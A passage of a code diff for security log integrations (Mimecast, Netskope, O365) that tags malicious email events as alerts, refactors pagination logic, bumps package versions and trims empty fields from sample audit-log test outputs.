"{\"id\":\"MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjU1NjIw1FEqSy0qzszPU7ICskvywAoNDAyVagFirRIG\",\"senderAddress\":\"smtp@example.com\",\"recipientAddress\":\"johndoe@example.com\",\"subject\":\"Requested File\",\"definition\":\"IP - 1 hit (Tag email)\",\"hits\":1,\"identifiers\":[\"internal_user_name\"],\"action\":\"none\",\"taggedExternal\":false,\"taggedMalicious\":true,\"senderIpAddress\":\"67.43.156.15\",\"eventTime\":\"2021-10-15T17:10:46+0000\",\"impersonationResults\":[{\"impersonationDomainSource\":\"internal_user_name\",\"similarDomain\":\"John Doe Jr \",\"stringSimilarToDomain\":\"John Doe Jr\",\"checkerResult\":\"hit\"}],\"messageId\":\"\"}" }, "mimecast": { @@ -85,6 +86,7 @@ ], "created": "2021-10-15T06:16:34+0000", "id": "MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjUzszAx0VEqSy0qzszPU7Iy1FEqyQMrNDAwVaoFAGShEhs", + "kind": "alert", "original": "{\"id\":\"MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjUzszAx0VEqSy0qzszPU7Iy1FEqyQMrNDAwVaoFAGShEhs\",\"senderAddress\":\"johndoe@gmail.com\",\"recipientAddress\":\"johndoe@example.com\",\"subject\":\"Fwd: Here ya go\",\"definition\":\"IP - 1 hit (Tag email)\",\"hits\":1,\"identifiers\":[\"internal_user_name\"],\"action\":\"none\",\"taggedExternal\":false,\"taggedMalicious\":true,\"senderIpAddress\":\"67.43.156.15\",\"eventTime\":\"2021-10-15T06:16:34+0000\",\"impersonationResults\":[{\"impersonationDomainSource\":\"internal_user_name\",\"similarDomain\":\"John Doe \",\"stringSimilarToDomain\":\"John Doe\",\"checkerResult\":\"hit\"}],\"messageId\":\"\"}" }, "mimecast": { @@ -144,6 +146,7 @@ ], "created": "2021-10-13T16:12:07+0000", "id": "MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjUzMDMz01EqSy0qzszPU7Iy1FEqyQMrNDAwVaoFAGQhEhc", + "kind": "alert", "original": "{\"id\":\"MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjUzMDMz01EqSy0qzszPU7Iy1FEqyQMrNDAwVaoFAGQhEhc\",\"senderAddress\":\"johndoe@mimecast.com\",\"recipientAddress\":\"johndoe@example.com\",\"subject\":\"RE: MSP Sales of Managed E2E\",\"definition\":\"IP - 2 hits (Hold for Review \\/ User Hold)\",\"hits\":2,\"identifiers\":[\"targeted_threat_dictionary\",\"internal_user_name\"],\"action\":\"hold\",\"taggedExternal\":false,\"taggedMalicious\":true,\"senderIpAddress\":\"67.43.156.15\",\"eventTime\":\"2021-10-13T16:12:07+0000\",\"impersonationResults\":[{\"impersonationDomainSource\":\"internal_user_name\",\"similarDomain\":\"Emily Doe \",\"stringSimilarToDomain\":\"Emily Doe\",\"checkerResult\":\"hit\"},{\"impersonationDomainSource\":\"targeted_threat_dictionary\",\"stringSimilarToDomain\":\"who\"}],\"messageId\":\"\"}" }, "mimecast": { @@ -183,4 +186,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/mimecast/data_stream/ttp_ip_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/ttp_ip_logs/agent/stream/cel.yml.hbs index ef9f287ff21..878cd366356 100644 --- a/packages/mimecast/data_stream/ttp_ip_logs/agent/stream/cel.yml.hbs +++ b/packages/mimecast/data_stream/ttp_ip_logs/agent/stream/cel.yml.hbs @@ -90,7 +90,7 @@ program: | } }).do_request().as(resp, resp.StatusCode == 200 ? bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ? - { + (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, { "events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(), "cursor": { "last": ( @@ -106,19 +106,19 @@ program: | ).format(time_layout.RFC3339) ), }, - ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ? - optional.of({ + "last_page": want_more ? + dyn({ ?"next": body.?meta.pagination.next, - "data": req.data, + ?"data": req.?data, }) : - optional.none(), + dyn(null), // required to clear the incoming state "token": { "access_token": token.access_token, "expires": token.expires, }, - "want_more": has(body.?meta.pagination.next) && size(body.data) != 0, - } + "want_more": want_more, + }) : // Mimecast can return failure states with a 200. This // is detected by a non-empty fail array at the root diff --git a/packages/mimecast/data_stream/ttp_ip_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/ttp_ip_logs/elasticsearch/ingest_pipeline/default.yml index c663b0b82b5..7ac5fbe5d1f 100644 --- a/packages/mimecast/data_stream/ttp_ip_logs/elasticsearch/ingest_pipeline/default.yml +++ b/packages/mimecast/data_stream/ttp_ip_logs/elasticsearch/ingest_pipeline/default.yml @@ -31,6 +31,10 @@ processors: - set: field: event.category value: [email] + - set: + field: event.kind + value: alert + if: ctx.mimecast?.taggedMalicious == true ### - rename: diff --git a/packages/mimecast/data_stream/ttp_url_logs/_dev/test/pipeline/test-ttp-url-logs.log-expected.json b/packages/mimecast/data_stream/ttp_url_logs/_dev/test/pipeline/test-ttp-url-logs.log-expected.json index fbf9392d8f2..7002c058892 100644 --- a/packages/mimecast/data_stream/ttp_url_logs/_dev/test/pipeline/test-ttp-url-logs.log-expected.json +++ b/packages/mimecast/data_stream/ttp_url_logs/_dev/test/pipeline/test-ttp-url-logs.log-expected.json @@ -239,6 +239,7 @@ "email" ], "created": "2023-01-04T10:32:12+0000", + "kind": "alert", "original": "{\"action\":\"warn\",\"actions\":\"None\",\"adminOverride\":\"N/A\",\"category\":\"Dangerous file extension\",\"creationMethod\":\"Entry Scan\",\"date\":\"2023-01-04T10:32:12+0000\",\"emailPartsDescription\":[\"Body\"],\"fromUserEmailAddress\":\"user.name@example.com\",\"messageId\":\"\\\\u003eedfg345pf45=gskjlgteriugdfbvjserlekjgiov89@mail.gmail.com\\\\u003e\",\"route\":\"internal\",\"scanResult\":\"malicious\",\"sendingIp\":\"Internal IP\",\"subject\":\"Re: totally not a scam email\",\"ttpDefinition\":\"Default Internal URL Protect Definition\",\"url\":\"https://updates.example.com/\",\"userAwarenessAction\":\"NA\",\"userEmailAddress\":\"other.user@this.company.com\",\"userOverride\":\"None\"}" }, "mimecast": { @@ -304,6 +305,7 @@ "email" ], "created": "2024-11-17T17:02:30+0000", + "kind": "alert", "original": "{\"userEmailAddress\":\"dl-ga-all_enron_worldwide1@demo-int.elastic.mime-api.com\",\"fromUserEmailAddress\":\"coo.jeff@demo-int.elastic.mime-api.com\",\"url\":\"http://www.enron.com/corp/pressroom/releases/2002/ene/012902Release.html\",\"ttpDefinition\":\"Default Internal URL Protect Definition\",\"subject\":\"Management Changes\",\"action\":\"warn\",\"adminOverride\":\"N/A\",\"userOverride\":\"None\",\"scanResult\":\"malicious\",\"category\":\"Compromised\",\"sendingIp\":\"Internal IP\",\"userAwarenessAction\":\"N/A\",\"date\":\"2024-11-17T17:02:30+0000\",\"actions\":\"None\",\"route\":\"internal\",\"creationMethod\":\"Entry Scan\",\"emailPartsDescription\":[\"Body\"],\"messageId\":\"<871dda3d6bf5107e-360815@hapi.b41.one>\",\"tagMap\":{\"UrlReputationScan\":{\"Status\":[\"CustomerAll\",\"VerdictBlock\"],\"Type\":[\"Compromised\"],\"UrlBlock\":[\"ORIGINAL:http://www.enron.com/corp/pressroom/releases/2002/ene/012902Release.html (Blocked as COMPROMISED)\"],\"Url\":[\"http://www.enron.com/corp/pressroom/releases/2002/ene/012902Release.html\"]}}}" }, "mimecast": { @@ -387,6 +389,7 @@ "email" ], "created": "2024-11-14T19:44:02+0000", + "kind": "alert", "original": "{\"userEmailAddress\":\"jhartso@demo-int.elastic.mime-api.com\",\"fromUserEmailAddress\":\"terrym@concept-variety.b41.one\",\"url\":\"https://oneclient.sfx.ms/Win/Preview/OneDriveSetup.exe\",\"ttpDefinition\":\"Default Inbound URL Protect Definition\",\"subject\":\"WP-02 Data Response\",\"action\":\"warn\",\"adminOverride\":\"N/A\",\"userOverride\":\"None\",\"scanResult\":\"malicious\",\"category\":\"Dangerous file extension\",\"sendingIp\":\"81.2.69.144\",\"userAwarenessAction\":\"N/A\",\"date\":\"2024-11-14T19:44:02+0000\",\"actions\":\"Block\",\"route\":\"inbound\",\"creationMethod\":\"Entry Scan\",\"emailPartsDescription\":[\"Attachment\"],\"messageId\":\"<29b951d7ab596678-115297@hapi.b41.one>\",\"tagMap\":{\"DangerousFileExt\":{\"Status\":[\"CustomerSpecific\",\"VerdictBlock\"],\"Inspect:FileExts\":[\"[exe]\"],\"Inspect:MimeTypes\":[\"[]\"],\"ContentCheck:DangerousMimetypesUrlFileDownload\":[\"application/x-msdownload\"],\"ContentCheck:ContentScannersBlocked\":[\".exe\"],\"ContentCheck:DangerousExtsUrlFileDownload\":[\"dll\"]}}}" }, "mimecast": { @@ -481,6 +484,7 @@ "email" ], "created": "2024-11-13T13:05:03+0000", + "kind": "alert", "original": "{\"userEmailAddress\":\"vince.j.kaminski@demo-int.elastic.mime-api.com\",\"fromUserEmailAddress\":\"gregoryhunt@thejunglegroup.b41.one\",\"url\":\"https://oneclient.sfx.ms/Win/Preview/OneDriveSetup.exe\",\"ttpDefinition\":\"Default Inbound URL Protect Definition\",\"subject\":\"Re\",\"action\":\"warn\",\"adminOverride\":\"N/A\",\"userOverride\":\"None\",\"scanResult\":\"malicious\",\"category\":\"Dangerous file extension\",\"sendingIp\":\"81.2.69.144\",\"userAwarenessAction\":\"N/A\",\"date\":\"2024-11-13T13:05:03+0000\",\"actions\":\"Block\",\"route\":\"inbound\",\"creationMethod\":\"Entry Scan\",\"emailPartsDescription\":[\"Attachment\"],\"messageId\":\"\",\"tagMap\":{\"DangerousFileExt\":{\"Status\":[\"CustomerSpecific\",\"VerdictBlock\"],\"Inspect:FileExts\":[\"[exe]\"],\"Inspect:MimeTypes\":[\"[]\"],\"ContentCheck:DangerousMimetypesUrlFileDownload\":[\"application/x-msdownload\"],\"ContentCheck:DangerousExtsUrlFileDownload\":[\"dll\"],\"ContentCheck:ContentScannersBlocked\":[\".exe\"]}}}" }, "mimecast": { @@ -575,6 +579,7 @@ "email" ], "created": "2024-11-13T13:03:11+0000", + "kind": "alert", "original": "{\"userEmailAddress\":\"mike.a.roberts@demo-int.elastic.mime-api.com\",\"fromUserEmailAddress\":\"gregoryhunt@thejunglegroup.b41.one\",\"url\":\"https://oneclient.sfx.ms/Win/Preview/OneDriveSetup.exe\",\"ttpDefinition\":\"Default Inbound URL Protect Definition\",\"subject\":\"Re\",\"action\":\"warn\",\"adminOverride\":\"N/A\",\"userOverride\":\"None\",\"scanResult\":\"malicious\",\"category\":\"Dangerous file extension\",\"sendingIp\":\"81.2.69.144\",\"userAwarenessAction\":\"N/A\",\"date\":\"2024-11-13T13:03:11+0000\",\"actions\":\"Block\",\"route\":\"inbound\",\"creationMethod\":\"Entry Scan\",\"emailPartsDescription\":[\"Attachment\"],\"messageId\":\"\",\"tagMap\":{\"DangerousFileExt\":{\"Status\":[\"CustomerSpecific\",\"VerdictBlock\"],\"Inspect:FileExts\":[\"[exe]\"],\"Inspect:MimeTypes\":[\"[]\"],\"ContentCheck:DangerousMimetypesUrlFileDownload\":[\"application/x-msdownload\"],\"ContentCheck:DangerousExtsUrlFileDownload\":[\"dll\"],\"ContentCheck:ContentScannersBlocked\":[\".exe\"]}}}" }, "mimecast": { @@ -644,4 +649,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/mimecast/data_stream/ttp_url_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/ttp_url_logs/agent/stream/cel.yml.hbs index 182111d91fa..d421496e3a7 100644 --- a/packages/mimecast/data_stream/ttp_url_logs/agent/stream/cel.yml.hbs +++ b/packages/mimecast/data_stream/ttp_url_logs/agent/stream/cel.yml.hbs @@ -90,7 +90,7 @@ program: | } }).do_request().as(resp, resp.StatusCode == 200 ? bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ? - { + (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, { "events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(), "cursor": { "last": ( @@ -106,19 +106,19 @@ program: | ).format(time_layout.RFC3339) ), }, - ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ? - optional.of({ + "last_page": want_more ? + dyn({ ?"next": body.?meta.pagination.next, - "data": req.data, + ?"data": req.?data, }) : - optional.none(), + dyn(null), // required to clear the incoming state "token": { "access_token": token.access_token, "expires": token.expires, }, - "want_more": has(body.?meta.pagination.next) && size(body.data) != 0, - } + "want_more": want_more, + }) : // Mimecast can return failure states with a 200. This // is detected by a non-empty fail array at the root diff --git a/packages/mimecast/data_stream/ttp_url_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/ttp_url_logs/elasticsearch/ingest_pipeline/default.yml index a210b158a82..de1f6e628af 100644 --- a/packages/mimecast/data_stream/ttp_url_logs/elasticsearch/ingest_pipeline/default.yml +++ b/packages/mimecast/data_stream/ttp_url_logs/elasticsearch/ingest_pipeline/default.yml @@ -31,6 +31,10 @@ processors: - set: field: event.category value: [email] + - set: + field: event.kind + value: alert + if: ctx.mimecast?.scanResult == 'malicious' ### - rename: diff --git a/packages/mimecast/manifest.yml b/packages/mimecast/manifest.yml index e87ef0af111..4f6165dd0e6 100644 --- a/packages/mimecast/manifest.yml +++ b/packages/mimecast/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: mimecast title: "Mimecast" -version: "2.5.2" +version: "2.6.2" description: Collect logs from Mimecast with Elastic Agent. type: integration categories: ["security", "email_security"] diff --git a/packages/netskope/changelog.yml b/packages/netskope/changelog.yml index 07dd3129f7f..0eee4b73484 100644 --- a/packages/netskope/changelog.yml +++ b/packages/netskope/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.23.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.22.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/netskope/manifest.yml b/packages/netskope/manifest.yml index 00dacd3f47c..047c5bbd0dc 100644 --- a/packages/netskope/manifest.yml +++ b/packages/netskope/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: netskope title: "Netskope" -version: "1.22.1" +version: "1.23.0" description: Collect logs from Netskope with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - network conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/netskope-alerts-screenshot.png title: Netskope Alert logs screenshot diff --git a/packages/o365/changelog.yml b/packages/o365/changelog.yml index 05315f40b3a..f83b30a4055 100644 --- a/packages/o365/changelog.yml +++ b/packages/o365/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.10.0" + changes: + - description: Extract ECS fields from Data and AttachmentData. + type: enhancement + link: https://github.com/elastic/integrations/pull/12888 - version: "2.9.0" changes: - description: Static fields for use by security rules. diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-events.json-expected.json index 258816ba7ab..d196b1d1e8a 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-events.json-expected.json @@ -105,8 +105,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -116,7 +115,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512", @@ -287,8 +285,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -298,7 +295,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512", @@ -469,8 +465,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -480,7 +475,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512", @@ -651,19 +645,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" } }, "ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23", @@ -842,19 +830,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" } }, "ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23", @@ -1035,30 +1017,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -1239,30 +1215,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -1443,30 +1413,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -1647,30 +1611,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -1851,30 +1809,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -2055,30 +2007,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -2259,30 +2205,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, 